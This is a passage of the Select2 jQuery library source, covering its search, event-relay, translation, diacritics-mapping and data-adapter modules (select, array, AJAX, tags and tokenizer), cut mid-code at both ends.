(!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.searchRemoveChoice = function (decorated, item) { this.trigger('unselect', { data: item }); this.$search.val(item.text); this.handleSearch(); }; Search.prototype.resizeSearch = function () { this.$search.css('width', '25px'); var width = ''; if (this.$search.attr('placeholder') !== '') { width = this.$selection.find('.select2-selection__rendered').innerWidth(); } else { var minimumWidth = this.$search.val().length + 1; width = (minimumWidth * 0.75) + 'em'; } this.$search.css('width', width); }; return Search; }); S2.define('select2/selection/eventRelay',[ 'jquery' ], function ($) { function EventRelay () { } EventRelay.prototype.bind = function (decorated, container, $container) { var self = this; var relayEvents = [ 'open', 'opening', 'close', 'closing', 'select', 'selecting', 'unselect', 'unselecting', 'clear', 'clearing' ]; var preventableEvents = [ 'opening', 'closing', 'selecting', 'unselecting', 'clearing' ]; decorated.call(this, container, $container); container.on('*', function (name, params) { // Ignore events that should not be relayed if ($.inArray(name, relayEvents) === -1) { return; } // The parameters should always be an object params = params || {}; // Generate the jQuery event for the Select2 event var evt = $.Event('select2:' + name, { params: params }); self.$element.trigger(evt); // Only handle preventable events if it was one if ($.inArray(name, preventableEvents) === -1) { return; } params.prevented = evt.isDefaultPrevented(); }); }; return EventRelay; }); S2.define('select2/translation',[ 'jquery', 'require' ], function ($, require) { function Translation (dict) { this.dict = dict || {}; } Translation.prototype.all = function () { return this.dict; }; Translation.prototype.get = function (key) { return this.dict[key]; }; Translation.prototype.extend = function (translation) { this.dict = $.extend({}, translation.all(), this.dict); }; // Static functions Translation._cache = {}; Translation.loadPath = function (path) { if (!(path in Translation._cache)) { var translations = require(path); Translation._cache[path] = translations; } return new Translation(Translation._cache[path]); }; return Translation; }); S2.define('select2/diacritics',[ ], function () { var diacritics = { '\u24B6': 'A', '\uFF21': 'A', '\u00C0': 'A', '\u00C1': 'A', '\u00C2': 'A', '\u1EA6': 'A', '\u1EA4': 'A', '\u1EAA': 'A', '\u1EA8': 'A', '\u00C3': 'A', '\u0100': 'A', '\u0102': 'A', '\u1EB0': 'A', '\u1EAE': 'A', '\u1EB4': 'A', '\u1EB2': 'A', '\u0226': 'A', '\u01E0': 'A', '\u00C4': 'A', '\u01DE': 'A', '\u1EA2': 'A', '\u00C5': 'A', '\u01FA': 'A', '\u01CD': 'A', '\u0200': 'A', '\u0202': 'A', '\u1EA0': 'A', '\u1EAC': 'A', '\u1EB6': 'A', '\u1E00': 'A', '\u0104': 'A', '\u023A': 'A', '\u2C6F': 'A', '\uA732': 'AA', '\u00C6': 'AE', '\u01FC': 'AE', '\u01E2': 'AE', '\uA734': 'AO', '\uA736': 'AU', '\uA738': 'AV', '\uA73A': 'AV', '\uA73C': 'AY', '\u24B7': 'B', '\uFF22': 'B', '\u1E02': 'B', '\u1E04': 'B', '\u1E06': 'B', '\u0243': 'B', '\u0182': 'B', '\u0181': 'B', '\u24B8': 'C', '\uFF23': 'C', '\u0106': 'C', '\u0108': 'C', '\u010A': 'C', '\u010C': 'C', '\u00C7': 'C', '\u1E08': 'C', '\u0187': 'C', '\u023B': 'C', '\uA73E': 'C', '\u24B9': 'D', '\uFF24': 'D', '\u1E0A': 'D', '\u010E': 'D', '\u1E0C': 'D', '\u1E10': 'D', '\u1E12': 'D', '\u1E0E': 'D', '\u0110': 'D', '\u018B': 'D', '\u018A': 'D', '\u0189': 'D', '\uA779': 'D', '\u01F1': 'DZ', '\u01C4': 'DZ', '\u01F2': 'Dz', '\u01C5': 'Dz', '\u24BA': 'E', '\uFF25': 'E', '\u00C8': 'E', '\u00C9': 'E', '\u00CA': 'E', '\u1EC0': 'E', '\u1EBE': 'E', '\u1EC4': 'E', '\u1EC2': 'E', '\u1EBC': 'E', '\u0112': 'E', '\u1E14': 'E', '\u1E16': 'E', '\u0114': 'E', '\u0116': 'E', '\u00CB': 'E', '\u1EBA': 'E', '\u011A': 'E', '\u0204': 'E', '\u0206': 'E', '\u1EB8': 'E', '\u1EC6': 'E', '\u0228': 'E', '\u1E1C': 'E', '\u0118': 'E', '\u1E18': 'E', '\u1E1A': 'E', '\u0190': 'E', '\u018E': 'E', '\u24BB': 'F', '\uFF26': 'F', '\u1E1E': 'F', '\u0191': 'F', '\uA77B': 'F', '\u24BC': 'G', '\uFF27': 'G', '\u01F4': 'G', '\u011C': 'G', '\u1E20': 'G', '\u011E': 'G', '\u0120': 'G', '\u01E6': 'G', '\u0122': 'G', '\u01E4': 'G', '\u0193': 'G', '\uA7A0': 'G', '\uA77D': 'G', '\uA77E': 'G', '\u24BD': 'H', '\uFF28': 'H', '\u0124': 'H', '\u1E22': 'H', '\u1E26': 'H', '\u021E': 'H', '\u1E24': 'H', '\u1E28': 'H', '\u1E2A': 'H', '\u0126': 'H', '\u2C67': 'H', '\u2C75': 'H', '\uA78D': 'H', '\u24BE': 'I', '\uFF29': 'I', '\u00CC': 'I', '\u00CD': 'I', '\u00CE': 'I', '\u0128': 'I', '\u012A': 'I', '\u012C': 'I', '\u0130': 'I', '\u00CF': 'I', '\u1E2E': 'I', '\u1EC8': 'I', '\u01CF': 'I', '\u0208': 'I', '\u020A': 'I', '\u1ECA': 'I', '\u012E': 'I', '\u1E2C': 'I', '\u0197': 'I', '\u24BF': 'J', '\uFF2A': 'J', '\u0134': 'J', '\u0248': 'J', '\u24C0': 'K', '\uFF2B': 'K', '\u1E30': 'K', '\u01E8': 'K', '\u1E32': 'K', '\u0136': 'K', '\u1E34': 'K', '\u0198': 'K', '\u2C69': 'K', '\uA740': 'K', '\uA742': 'K', '\uA744': 'K', '\uA7A2': 'K', '\u24C1': 'L', '\uFF2C': 'L', '\u013F': 'L', '\u0139': 'L', '\u013D': 'L', '\u1E36': 'L', '\u1E38': 'L', '\u013B': 'L', '\u1E3C': 'L', '\u1E3A': 'L', '\u0141': 'L', '\u023D': 'L', '\u2C62': 'L', '\u2C60': 'L', '\uA748': 'L', '\uA746': 'L', '\uA780': 'L', '\u01C7': 'LJ', '\u01C8': 'Lj', '\u24C2': 'M', '\uFF2D': 'M', '\u1E3E': 'M', '\u1E40': 'M', '\u1E42': 'M', '\u2C6E': 'M', '\u019C': 'M', '\u24C3': 'N', '\uFF2E': 'N', '\u01F8': 'N', '\u0143': 'N', '\u00D1': 'N', '\u1E44': 'N', '\u0147': 'N', '\u1E46': 'N', '\u0145': 'N', '\u1E4A': 'N', '\u1E48': 'N', '\u0220': 'N', '\u019D': 'N', '\uA790': 'N', '\uA7A4': 'N', '\u01CA': 'NJ', '\u01CB': 'Nj', '\u24C4': 'O', '\uFF2F': 'O', '\u00D2': 'O', '\u00D3': 'O', '\u00D4': 'O', '\u1ED2': 'O', '\u1ED0': 'O', '\u1ED6': 'O', '\u1ED4': 'O', '\u00D5': 'O', '\u1E4C': 'O', '\u022C': 'O', '\u1E4E': 'O', '\u014C': 'O', '\u1E50': 'O', '\u1E52': 'O', '\u014E': 'O', '\u022E': 'O', '\u0230': 'O', '\u00D6': 'O', '\u022A': 'O', '\u1ECE': 'O', '\u0150': 'O', '\u01D1': 'O', '\u020C': 'O', '\u020E': 'O', '\u01A0': 'O', '\u1EDC': 'O', '\u1EDA': 'O', '\u1EE0': 'O', '\u1EDE': 'O', '\u1EE2': 'O', '\u1ECC': 'O', '\u1ED8': 'O', '\u01EA': 'O', '\u01EC': 'O', '\u00D8': 'O', '\u01FE': 'O', '\u0186': 'O', '\u019F': 'O', '\uA74A': 'O', '\uA74C': 'O', '\u01A2': 'OI', '\uA74E': 'OO', '\u0222': 'OU', '\u24C5': 'P', '\uFF30': 'P', '\u1E54': 'P', '\u1E56': 'P', '\u01A4': 'P', '\u2C63': 'P', '\uA750': 'P', '\uA752': 'P', '\uA754': 'P', '\u24C6': 'Q', '\uFF31': 'Q', '\uA756': 'Q', '\uA758': 'Q', '\u024A': 'Q', '\u24C7': 'R', '\uFF32': 'R', '\u0154': 'R', '\u1E58': 'R', '\u0158': 'R', '\u0210': 'R', '\u0212': 'R', '\u1E5A': 'R', '\u1E5C': 'R', '\u0156': 'R', '\u1E5E': 'R', '\u024C': 'R', '\u2C64': 'R', '\uA75A': 'R', '\uA7A6': 'R', '\uA782': 'R', '\u24C8': 'S', '\uFF33': 'S', '\u1E9E': 'S', '\u015A': 'S', '\u1E64': 'S', '\u015C': 'S', '\u1E60': 'S', '\u0160': 'S', '\u1E66': 'S', '\u1E62': 'S', '\u1E68': 'S', '\u0218': 'S', '\u015E': 'S', '\u2C7E': 'S', '\uA7A8': 'S', '\uA784': 'S', '\u24C9': 'T', '\uFF34': 'T', '\u1E6A': 'T', '\u0164': 'T', '\u1E6C': 'T', '\u021A': 'T', '\u0162': 'T', '\u1E70': 'T', '\u1E6E': 'T', '\u0166': 'T', '\u01AC': 'T', '\u01AE': 'T', '\u023E': 'T', '\uA786': 'T', '\uA728': 'TZ', '\u24CA': 'U', '\uFF35': 'U', '\u00D9': 'U', '\u00DA': 'U', '\u00DB': 'U', '\u0168': 'U', '\u1E78': 'U', '\u016A': 'U', '\u1E7A': 'U', '\u016C': 'U', '\u00DC': 'U', '\u01DB': 'U', '\u01D7': 'U', '\u01D5': 'U', '\u01D9': 'U', '\u1EE6': 'U', '\u016E': 'U', '\u0170': 'U', '\u01D3': 'U', '\u0214': 'U', '\u0216': 'U', '\u01AF': 'U', '\u1EEA': 'U', '\u1EE8': 'U', '\u1EEE': 'U', '\u1EEC': 'U', '\u1EF0': 'U', '\u1EE4': 'U', '\u1E72': 'U', '\u0172': 'U', '\u1E76': 'U', '\u1E74': 'U', '\u0244': 'U', '\u24CB': 'V', '\uFF36': 'V', '\u1E7C': 'V', '\u1E7E': 'V', '\u01B2': 'V', '\uA75E': 'V', '\u0245': 'V', '\uA760': 'VY', '\u24CC': 'W', '\uFF37': 'W', '\u1E80': 'W', '\u1E82': 'W', '\u0174': 'W', '\u1E86': 'W', '\u1E84': 'W', '\u1E88': 'W', '\u2C72': 'W', '\u24CD': 'X', '\uFF38': 'X', '\u1E8A': 'X', '\u1E8C': 'X', '\u24CE': 'Y', '\uFF39': 'Y', '\u1EF2': 'Y', '\u00DD': 'Y', '\u0176': 'Y', '\u1EF8': 'Y', '\u0232': 'Y', '\u1E8E': 'Y', '\u0178': 'Y', '\u1EF6': 'Y', '\u1EF4': 'Y', '\u01B3': 'Y', '\u024E': 'Y', '\u1EFE': 'Y', '\u24CF': 'Z', '\uFF3A': 'Z', '\u0179': 'Z', '\u1E90': 'Z', '\u017B': 'Z', '\u017D': 'Z', '\u1E92': 'Z', '\u1E94': 'Z', '\u01B5': 'Z', '\u0224': 'Z', '\u2C7F': 'Z', '\u2C6B': 'Z', '\uA762': 'Z', '\u24D0': 'a', '\uFF41': 'a', '\u1E9A': 'a', '\u00E0': 'a', '\u00E1': 'a', '\u00E2': 'a', '\u1EA7': 'a', '\u1EA5': 'a', '\u1EAB': 'a', '\u1EA9': 'a', '\u00E3': 'a', '\u0101': 'a', '\u0103': 'a', '\u1EB1': 'a', '\u1EAF': 'a', '\u1EB5': 'a', '\u1EB3': 'a', '\u0227': 'a', '\u01E1': 'a', '\u00E4': 'a', '\u01DF': 'a', '\u1EA3': 'a', '\u00E5': 'a', '\u01FB': 'a', '\u01CE': 'a', '\u0201': 'a', '\u0203': 'a', '\u1EA1': 'a', '\u1EAD': 'a', '\u1EB7': 'a', '\u1E01': 'a', '\u0105': 'a', '\u2C65': 'a', '\u0250': 'a', '\uA733': 'aa', '\u00E6': 'ae', '\u01FD': 'ae', '\u01E3': 'ae', '\uA735': 'ao', '\uA737': 'au', '\uA739': 'av', '\uA73B': 'av', '\uA73D': 'ay', '\u24D1': 'b', '\uFF42': 'b', '\u1E03': 'b', '\u1E05': 'b', '\u1E07': 'b', '\u0180': 'b', '\u0183': 'b', '\u0253': 'b', '\u24D2': 'c', '\uFF43': 'c', '\u0107': 'c', '\u0109': 'c', '\u010B': 'c', '\u010D': 'c', '\u00E7': 'c', '\u1E09': 'c', '\u0188': 'c', '\u023C': 'c', '\uA73F': 'c', '\u2184': 'c', '\u24D3': 'd', '\uFF44': 'd', '\u1E0B': 'd', '\u010F': 'd', '\u1E0D': 'd', '\u1E11': 'd', '\u1E13': 'd', '\u1E0F': 'd', '\u0111': 'd', '\u018C': 'd', '\u0256': 'd', '\u0257': 'd', '\uA77A': 'd', '\u01F3': 'dz', '\u01C6': 'dz', '\u24D4': 'e', '\uFF45': 'e', '\u00E8': 'e', '\u00E9': 'e', '\u00EA': 'e', '\u1EC1': 'e', '\u1EBF': 'e', '\u1EC5': 'e', '\u1EC3': 'e', '\u1EBD': 'e', '\u0113': 'e', '\u1E15': 'e', '\u1E17': 'e', '\u0115': 'e', '\u0117': 'e', '\u00EB': 'e', '\u1EBB': 'e', '\u011B': 'e', '\u0205': 'e', '\u0207': 'e', '\u1EB9': 'e', '\u1EC7': 'e', '\u0229': 'e', '\u1E1D': 'e', '\u0119': 'e', '\u1E19': 'e', '\u1E1B': 'e', '\u0247': 'e', '\u025B': 'e', '\u01DD': 'e', '\u24D5': 'f', '\uFF46': 'f', '\u1E1F': 'f', '\u0192': 'f', '\uA77C': 'f', '\u24D6': 'g', '\uFF47': 'g', '\u01F5': 'g', '\u011D': 'g', '\u1E21': 'g', '\u011F': 'g', '\u0121': 'g', '\u01E7': 'g', '\u0123': 'g', '\u01E5': 'g', '\u0260': 'g', '\uA7A1': 'g', '\u1D79': 'g', '\uA77F': 'g', '\u24D7': 'h', '\uFF48': 'h', '\u0125': 'h', '\u1E23': 'h', '\u1E27': 'h', '\u021F': 'h', '\u1E25': 'h', '\u1E29': 'h', '\u1E2B': 'h', '\u1E96': 'h', '\u0127': 'h', '\u2C68': 'h', '\u2C76': 'h', '\u0265': 'h', '\u0195': 'hv', '\u24D8': 'i', '\uFF49': 'i', '\u00EC': 'i', '\u00ED': 'i', '\u00EE': 'i', '\u0129': 'i', '\u012B': 'i', '\u012D': 'i', '\u00EF': 'i', '\u1E2F': 'i', '\u1EC9': 'i', '\u01D0': 'i', '\u0209': 'i', '\u020B': 'i', '\u1ECB': 'i', '\u012F': 'i', '\u1E2D': 'i', '\u0268': 'i', '\u0131': 'i', '\u24D9': 'j', '\uFF4A': 'j', '\u0135': 'j', '\u01F0': 'j', '\u0249': 'j', '\u24DA': 'k', '\uFF4B': 'k', '\u1E31': 'k', '\u01E9': 'k', '\u1E33': 'k', '\u0137': 'k', '\u1E35': 'k', '\u0199': 'k', '\u2C6A': 'k', '\uA741': 'k', '\uA743': 'k', '\uA745': 'k', '\uA7A3': 'k', '\u24DB': 'l', '\uFF4C': 'l', '\u0140': 'l', '\u013A': 'l', '\u013E': 'l', '\u1E37': 'l', '\u1E39': 'l', '\u013C': 'l', '\u1E3D': 'l', '\u1E3B': 'l', '\u017F': 'l', '\u0142': 'l', '\u019A': 'l', '\u026B': 'l', '\u2C61': 'l', '\uA749': 'l', '\uA781': 'l', '\uA747': 'l', '\u01C9': 'lj', '\u24DC': 'm', '\uFF4D': 'm', '\u1E3F': 'm', '\u1E41': 'm', '\u1E43': 'm', '\u0271': 'm', '\u026F': 'm', '\u24DD': 'n', '\uFF4E': 'n', '\u01F9': 'n', '\u0144': 'n', '\u00F1': 'n', '\u1E45': 'n', '\u0148': 'n', '\u1E47': 'n', '\u0146': 'n', '\u1E4B': 'n', '\u1E49': 'n', '\u019E': 'n', '\u0272': 'n', '\u0149': 'n', '\uA791': 'n', '\uA7A5': 'n', '\u01CC': 'nj', '\u24DE': 'o', '\uFF4F': 'o', '\u00F2': 'o', '\u00F3': 'o', '\u00F4': 'o', '\u1ED3': 'o', '\u1ED1': 'o', '\u1ED7': 'o', '\u1ED5': 'o', '\u00F5': 'o', '\u1E4D': 'o', '\u022D': 'o', '\u1E4F': 'o', '\u014D': 'o', '\u1E51': 'o', '\u1E53': 'o', '\u014F': 'o', '\u022F': 'o', '\u0231': 'o', '\u00F6': 'o', '\u022B': 'o', '\u1ECF': 'o', '\u0151': 'o', '\u01D2': 'o', '\u020D': 'o', '\u020F': 'o', '\u01A1': 'o', '\u1EDD': 'o', '\u1EDB': 'o', '\u1EE1': 'o', '\u1EDF': 'o', '\u1EE3': 'o', '\u1ECD': 'o', '\u1ED9': 'o', '\u01EB': 'o', '\u01ED': 'o', '\u00F8': 'o', '\u01FF': 'o', '\u0254': 'o', '\uA74B': 'o', '\uA74D': 'o', '\u0275': 'o', '\u01A3': 'oi', '\u0223': 'ou', '\uA74F': 'oo', '\u24DF': 'p', '\uFF50': 'p', '\u1E55': 'p', '\u1E57': 'p', '\u01A5': 'p', '\u1D7D': 'p', '\uA751': 'p', '\uA753': 'p', '\uA755': 'p', '\u24E0': 'q', '\uFF51': 'q', '\u024B': 'q', '\uA757': 'q', '\uA759': 'q', '\u24E1': 'r', '\uFF52': 'r', '\u0155': 'r', '\u1E59': 'r', '\u0159': 'r', '\u0211': 'r', '\u0213': 'r', '\u1E5B': 'r', '\u1E5D': 'r', '\u0157': 'r', '\u1E5F': 'r', '\u024D': 'r', '\u027D': 'r', '\uA75B': 'r', '\uA7A7': 'r', '\uA783': 'r', '\u24E2': 's', '\uFF53': 's', '\u00DF': 's', '\u015B': 's', '\u1E65': 's', '\u015D': 's', '\u1E61': 's', '\u0161': 's', '\u1E67': 's', '\u1E63': 's', '\u1E69': 's', '\u0219': 's', '\u015F': 's', '\u023F': 's', '\uA7A9': 's', '\uA785': 's', '\u1E9B': 's', '\u24E3': 't', '\uFF54': 't', '\u1E6B': 't', '\u1E97': 't', '\u0165': 't', '\u1E6D': 't', '\u021B': 't', '\u0163': 't', '\u1E71': 't', '\u1E6F': 't', '\u0167': 't', '\u01AD': 't', '\u0288': 't', '\u2C66': 't', '\uA787': 't', '\uA729': 'tz', '\u24E4': 'u', '\uFF55': 'u', '\u00F9': 'u', '\u00FA': 'u', '\u00FB': 'u', '\u0169': 'u', '\u1E79': 'u', '\u016B': 'u', '\u1E7B': 'u', '\u016D': 'u', '\u00FC': 'u', '\u01DC': 'u', '\u01D8': 'u', '\u01D6': 'u', '\u01DA': 'u', '\u1EE7': 'u', '\u016F': 'u', '\u0171': 'u', '\u01D4': 'u', '\u0215': 'u', '\u0217': 'u', '\u01B0': 'u', '\u1EEB': 'u', '\u1EE9': 'u', '\u1EEF': 'u', '\u1EED': 'u', '\u1EF1': 'u', '\u1EE5': 'u', '\u1E73': 'u', '\u0173': 'u', '\u1E77': 'u', '\u1E75': 'u', '\u0289': 'u', '\u24E5': 'v', '\uFF56': 'v', '\u1E7D': 'v', '\u1E7F': 'v', '\u028B': 'v', '\uA75F': 'v', '\u028C': 'v', '\uA761': 'vy', '\u24E6': 'w', '\uFF57': 'w', '\u1E81': 'w', '\u1E83': 'w', '\u0175': 'w', '\u1E87': 'w', '\u1E85': 'w', '\u1E98': 'w', '\u1E89': 'w', '\u2C73': 'w', '\u24E7': 'x', '\uFF58': 'x', '\u1E8B': 'x', '\u1E8D': 'x', '\u24E8': 'y', '\uFF59': 'y', '\u1EF3': 'y', '\u00FD': 'y', '\u0177': 'y', '\u1EF9': 'y', '\u0233': 'y', '\u1E8F': 'y', '\u00FF': 'y', '\u1EF7': 'y', '\u1E99': 'y', '\u1EF5': 'y', '\u01B4': 'y', '\u024F': 'y', '\u1EFF': 'y', '\u24E9': 'z', '\uFF5A': 'z', '\u017A': 'z', '\u1E91': 'z', '\u017C': 'z', '\u017E': 'z', '\u1E93': 'z', '\u1E95': 'z', '\u01B6': 'z', '\u0225': 'z', '\u0240': 'z', '\u2C6C': 'z', '\uA763': 'z', '\u0386': '\u0391', '\u0388': '\u0395', '\u0389': '\u0397', '\u038A': '\u0399', '\u03AA': '\u0399', '\u038C': '\u039F', '\u038E': '\u03A5', '\u03AB': '\u03A5', '\u038F': '\u03A9', '\u03AC': '\u03B1', '\u03AD': '\u03B5', '\u03AE': '\u03B7', '\u03AF': '\u03B9', '\u03CA': '\u03B9', '\u0390': '\u03B9', '\u03CC': '\u03BF', '\u03CD': '\u03C5', '\u03CB': '\u03C5', '\u03B0': '\u03C5', '\u03C9': '\u03C9', '\u03C2': '\u03C3' }; return diacritics; }); S2.define('select2/data/base',[ '../utils' ], function (Utils) { function BaseAdapter ($element, options) { BaseAdapter.__super__.constructor.call(this); } Utils.Extend(BaseAdapter, Utils.Observable); BaseAdapter.prototype.current = function (callback) { throw new Error('The `current` method must be defined in child classes.'); }; BaseAdapter.prototype.query = function (params, callback) { throw new Error('The `query` method must be defined in child classes.'); }; BaseAdapter.prototype.bind = function (container, $container) { // Can be implemented in subclasses }; BaseAdapter.prototype.destroy = function () { // Can be implemented in subclasses }; BaseAdapter.prototype.generateResultId = function (container, data) { var id = container.id + '-result-'; id += Utils.generateChars(4); if (data.id != null) { id += '-' + data.id.toString(); } else { id += '-' + Utils.generateChars(4); } return id; }; return BaseAdapter; }); S2.define('select2/data/select',[ './base', '../utils', 'jquery' ], function (BaseAdapter, Utils, $) { function SelectAdapter ($element, options) { this.$element = $element; this.options = options; SelectAdapter.__super__.constructor.call(this); } Utils.Extend(SelectAdapter, BaseAdapter); SelectAdapter.prototype.current = function (callback) { var data = []; var self = this; this.$element.find(':selected').each(function () { var $option = $(this); var option = self.item($option); data.push(option); }); callback(data); }; SelectAdapter.prototype.select = function (data) { var self = this; data.selected = true; // If data.element is a DOM node, use it instead if ($(data.element).is('option')) { data.element.selected = true; this.$element.trigger('change'); return; } if (this.$element.prop('multiple')) { this.current(function (currentData) { var val = []; data = [data]; data.push.apply(data, currentData); for (var d = 0; d < data.length; d++) { var id = data[d].id; if ($.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); } else { var val = data.id; this.$element.val(val); this.$element.trigger('change'); } }; SelectAdapter.prototype.unselect = function (data) { var self = this; if (!this.$element.prop('multiple')) { return; } data.selected = false; if ($(data.element).is('option')) { data.element.selected = false; this.$element.trigger('change'); return; } this.current(function (currentData) { var val = []; for (var d = 0; d < currentData.length; d++) { var id = currentData[d].id; if (id !== data.id && $.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); }; SelectAdapter.prototype.bind = function (container, $container) { var self = this; this.container = container; container.on('select', function (params) { self.select(params.data); }); container.on('unselect', function (params) { self.unselect(params.data); }); }; SelectAdapter.prototype.destroy = function () { // Remove anything added to child elements this.$element.find('*').each(function () { // Remove any custom data set by Select2 Utils.RemoveData(this); }); }; SelectAdapter.prototype.query = function (params, callback) { var data = []; var self = this; var $options = this.$element.children(); $options.each(function () { var $option = $(this); if (!$option.is('option') && !$option.is('optgroup')) { return; } var option = self.item($option); var matches = self.matches(params, option); if (matches !== null) { data.push(matches); } }); callback({ results: data }); }; SelectAdapter.prototype.addOptions = function ($options) { Utils.appendMany(this.$element, $options); }; SelectAdapter.prototype.option = function (data) { var option; if (data.children) { option = document.createElement('optgroup'); option.label = data.text; } else { option = document.createElement('option'); if (option.textContent !== undefined) { option.textContent = data.text; } else { option.innerText = data.text; } } if (data.id !== undefined) { option.value = data.id; } if (data.disabled) { option.disabled = true; } if (data.selected) { option.selected = true; } if (data.title) { option.title = data.title; } var $option = $(option); var normalizedData = this._normalizeItem(data); normalizedData.element = option; // Override the option's data with the combined data Utils.StoreData(option, 'data', normalizedData); return $option; }; SelectAdapter.prototype.item = function ($option) { var data = {}; data = Utils.GetData($option[0], 'data'); if (data != null) { return data; } if ($option.is('option')) { data = { id: $option.val(), text: $option.text(), disabled: $option.prop('disabled'), selected: $option.prop('selected'), title: $option.prop('title') }; } else if ($option.is('optgroup')) { data = { text: $option.prop('label'), children: [], title: $option.prop('title') }; var $children = $option.children('option'); var children = []; for (var c = 0; c < $children.length; c++) { var $child = $($children[c]); var child = this.item($child); children.push(child); } data.children = children; } data = this._normalizeItem(data); data.element = $option[0]; Utils.StoreData($option[0], 'data', data); return data; }; SelectAdapter.prototype._normalizeItem = function (item) { if (item !== Object(item)) { item = { id: item, text: item }; } item = $.extend({}, { text: '' }, item); var defaults = { selected: false, disabled: false }; if (item.id != null) { item.id = item.id.toString(); } if (item.text != null) { item.text = item.text.toString(); } if (item._resultId == null && item.id && this.container != null) { item._resultId = this.generateResultId(this.container, item); } return $.extend({}, defaults, item); }; SelectAdapter.prototype.matches = function (params, data) { var matcher = this.options.get('matcher'); return matcher(params, data); }; return SelectAdapter; }); S2.define('select2/data/array',[ './select', '../utils', 'jquery' ], function (SelectAdapter, Utils, $) { function ArrayAdapter ($element, options) { var data = options.get('data') || []; ArrayAdapter.__super__.constructor.call(this, $element, options); this.addOptions(this.convertToOptions(data)); } Utils.Extend(ArrayAdapter, SelectAdapter); ArrayAdapter.prototype.select = function (data) { var $option = this.$element.find('option').filter(function (i, elm) { return elm.value == data.id.toString(); }); if ($option.length === 0) { $option = this.option(data); this.addOptions($option); } ArrayAdapter.__super__.select.call(this, data); }; ArrayAdapter.prototype.convertToOptions = function (data) { var self = this; var $existing = this.$element.find('option'); var existingIds = $existing.map(function () { return self.item($(this)).id; }).get(); var $options = []; // Filter out all items except for the one passed in the argument function onlyItem (item) { return function () { return $(this).val() == item.id; }; } for (var d = 0; d < data.length; d++) { var item = this._normalizeItem(data[d]); // Skip items which were pre-loaded, only merge the data if ($.inArray(item.id, existingIds) >= 0) { var $existingOption = $existing.filter(onlyItem(item)); var existingData = this.item($existingOption); var newData = $.extend(true, {}, item, existingData); var $newOption = this.option(newData); $existingOption.replaceWith($newOption); continue; } var $option = this.option(item); if (item.children) { var $children = this.convertToOptions(item.children); Utils.appendMany($option, $children); } $options.push($option); } return $options; }; return ArrayAdapter; }); S2.define('select2/data/ajax',[ './array', '../utils', 'jquery' ], function (ArrayAdapter, Utils, $) { function AjaxAdapter ($element, options) { this.ajaxOptions = this._applyDefaults(options.get('ajax')); if (this.ajaxOptions.processResults != null) { this.processResults = this.ajaxOptions.processResults; } AjaxAdapter.__super__.constructor.call(this, $element, options); } Utils.Extend(AjaxAdapter, ArrayAdapter); AjaxAdapter.prototype._applyDefaults = function (options) { var defaults = { data: function (params) { return $.extend({}, params, { q: params.term }); }, transport: function (params, success, failure) { var $request = $.ajax(params); $request.then(success); $request.fail(failure); return $request; } }; return $.extend({}, defaults, options, true); }; AjaxAdapter.prototype.processResults = function (results) { return results; }; AjaxAdapter.prototype.query = function (params, callback) { var matches = []; var self = this; if (this._request != null) { // JSONP requests cannot always be aborted if ($.isFunction(this._request.abort)) { this._request.abort(); } this._request = null; } var options = $.extend({ type: 'GET' }, this.ajaxOptions); if (typeof options.url === 'function') { options.url = options.url.call(this.$element, params); } if (typeof options.data === 'function') { options.data = options.data.call(this.$element, params); } function request () { var $request = options.transport(options, function (data) { var results = self.processResults(data, params); if (self.options.get('debug') && window.console && console.error) { // Check to make sure that the response included a `results` key. if (!results || !results.results || !$.isArray(results.results)) { console.error( 'Select2: The AJAX results did not return an array in the ' + '`results` key of the response.' ); } } callback(results); }, function () { // Attempt to detect if a request was aborted // Only works if the transport exposes a status property if ('status' in $request && ($request.status === 0 || $request.status === '0')) { return; } self.trigger('results:message', { message: 'errorLoading' }); }); self._request = $request; } if (this.ajaxOptions.delay && params.term != null) { if (this._queryTimeout) { window.clearTimeout(this._queryTimeout); } this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); } else { request(); } }; return AjaxAdapter; }); S2.define('select2/data/tags',[ 'jquery' ], function ($) { function Tags (decorated, $element, options) { var tags = options.get('tags'); var createTag = options.get('createTag'); if (createTag !== undefined) { this.createTag = createTag; } var insertTag = options.get('insertTag'); if (insertTag !== undefined) { this.insertTag = insertTag; } decorated.call(this, $element, options); if ($.isArray(tags)) { for (var t = 0; t < tags.length; t++) { var tag = tags[t]; var item = this._normalizeItem(tag); var $option = this.option(item); this.$element.append($option); } } } Tags.prototype.query = function (decorated, params, callback) { var self = this; this._removeOldTags(); if (params.term == null || params.page != null) { decorated.call(this, params, callback); return; } function wrapper (obj, child) { var data = obj.results; for (var i = 0; i < data.length; i++) { var option = data[i]; var checkChildren = ( option.children != null && !wrapper({ results: option.children }, true) ); var optionText = (option.text || '').toUpperCase(); var paramsTerm = (params.term || '').toUpperCase(); var checkText = optionText === paramsTerm; if (checkText || checkChildren) { if (child) { return false; } obj.data = data; callback(obj); return; } } if (child) { return true; } var tag = self.createTag(params); if (tag != null) { var $option = self.option(tag); $option.attr('data-select2-tag', true); self.addOptions([$option]); self.insertTag(data, tag); } obj.results = data; callback(obj); } decorated.call(this, params, wrapper); }; Tags.prototype.createTag = function (decorated, params) { var term = $.trim(params.term); if (term === '') { return null; } return { id: term, text: term }; }; Tags.prototype.insertTag = function (_, data, tag) { data.unshift(tag); }; Tags.prototype._removeOldTags = function (_) { var tag = this._lastTag; var $options = this.$element.find('option[data-select2-tag]'); $options.each(function () { if (this.selected) { return; } $(this).remove(); }); }; return Tags; }); S2.define('select2/data/tokenizer',[ 'jquery' ], function ($) { function Tokenizer (decorated, $element, options) { var tokenizer = options.get('tokenizer'); if (tokenizer !== undefined) { this.tokenizer = tokenizer; } decorated.call(this, $element, options); } Tokenizer.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); this.$search = container.dropdown.$search || container.selection.$search || $container.find('.select2-search__field'); }; Tokenizer.prototype.query = function (decorated, params, callback) { var self = this; function createAndSelect (data) { // Normalize the data object so we can use it for checks var item = self._normalizeItem(data); // Check if the data object already exists as a tag // Select it if it doesn't var $existingOptions = self.$element.find('option').filter(function () { return $(this).val() === item.id; }); // If an existing option wasn't found for it, create the option if (!$existingOptions.length) { var $option = self.option(item); $option.attr('data-select2-tag', true); self._removeOldTags(); self.addOptions([$option]); } // Select the item, now that we know there is an option for it select(item); } function select (data) { self.trigger('select', { data: data }); } params.term = params.term || ''; var tokenData = this.tokenizer(params, this.options, 